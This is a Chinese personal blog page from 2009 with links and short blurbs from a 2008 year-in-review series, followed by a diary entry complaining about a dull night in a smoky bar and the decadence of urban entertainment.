・风云际会纠结跌宕的2008(2) ・风云际会纠结跌宕的2008(3)
・榜评永远不变的是变化(1) ・榜评永远不变的是变化(2)
・2008年度十大热门事件 ・榜评悲欣交集2008(1)
・榜评悲欣交集2008(2)

《百度一下》 第二部分
  1月2日,新疆乌鲁木齐德汇国际广场发生火灾,5日下午大火被扑灭。火灾中共有5人遇难,其中3人为消防官兵,直接经济损失超过5亿元。此次火灾,人们聚焦于小商品市场的消防安全问题。
・第一周0101~0106 ・第二周0107~0113
・第十三周0324~0330 ・第十六周0414~0420
・第十八周0428~0504 ・第二十周0512~0518(1)
・第二十周0512~0518(2) ・第三十周0721~0727
・第三十二周0804~0810(1) ・第三十二周0804~0810(2)
・第三十二周0804~0810(3)

《百度一下》 第三部分
  近日,一段白岩松主持的10月7日《新闻1+1》的视频在一论坛上被贴出,引发网友热议。网友称其在节目中语无伦次发挥失常,怀疑其醉酒出镜,甚至将其中一些"对话"制成"白岩松醉话录"。白岩松对此未予回应。
・第四十二周1013~1019 ・第四十五周1103-1109(1)
・第四十五周1103-1109(2) ・第四十九周1201~1207(1)
・第四十九周1201~1207(2) ・第五十周1208~1214
・十大人为灾难事件 ・在灾难中不断寻求进步的路……
・十大网络人物 ・从人肉搜索到网络审判
・最受关注的十大文章 ・文字的力量
・十大最受关注经济事件 ・十大最怀念文娱人物
・那些人儿 ・十大最受关注奥运赛事
・向比赛致敬

2009年3月4日星期三

酒吧一夜

密闭的空间里,充斥着噪耳的音乐,昏黄的灯光下,坐着三三两两的人,桌前摆着几个酒瓶,或大声说的什么,在喧闹的音乐里传过来,或者噼哩啪啦地玩着筛子,据说这是娱乐场所的必备。

老宋说,要不弄一个玩?

感觉没意思,还是算了吧。喝酒聊天吧。

酒里带着些甜味,有些饮料的感觉,喝多了,就在肚子里积攒出一个很大的空间,胀的慌。

音乐很没劲,只是瓜子刮噪的音符,毫无美感。

不通气的空间里,到处弥漫出烟雾,连吧台上倒酒的三四个姑娘,也每人吐云吐雾,和客人玩着筛子。到处都显的颓废无聊,在这样的深夜里,这样挥霍着春天的时光?

都说中国人网民多少?有点条件的,一般都能上网吧,连农村里都有许多电脑了。上网也成了很多的娱乐活动。然而,通过上网寻找精神的娱乐,却更加让人无聊,身体也变的肥胖,性格变的孤僻,渐渐成为一种精神障碍。

但几乎可见的娱乐活动,都充满了声色犬马。要是和几个朋友,马上去哪儿去玩呢?酒吧歌厅乌烟瘴气,洗浴桑拿更不用说了,就说上岛两岸或其它的咖啡店茶馆,也坐满了暧昧的男女。到哪儿能找到新鲜的空气,和透畅的交流呢?

有个国外老愤青说什么来着?中国人放纵着情纵,会准备随时着和不认识的陌生人,发生性关系。

到处真是堕落啊。

一定不会用这种沟通方式,拉客户做项目,如果有这样的项目,不做也罢。

2009年3月3日星期二